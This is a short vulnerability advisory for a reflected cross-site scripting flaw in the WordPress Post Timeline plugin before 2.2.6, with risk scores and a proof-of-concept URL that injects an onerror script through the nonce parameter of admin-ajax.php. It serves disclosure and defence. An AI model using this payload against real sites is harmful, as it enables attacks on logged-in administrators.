Post Timeline < 2.2.6 - Reflected XSS

2023-08-1000:00:00

tnt24

post timeline

reflected xss

logged in admin

malicious url

AI Score

6.3

Confidence

High

EPSS

0.001

Percentile

27.9%

JSON

Description The plugin does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open the URL below

https://example.com/wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=<img src onerror=alert`XSS`>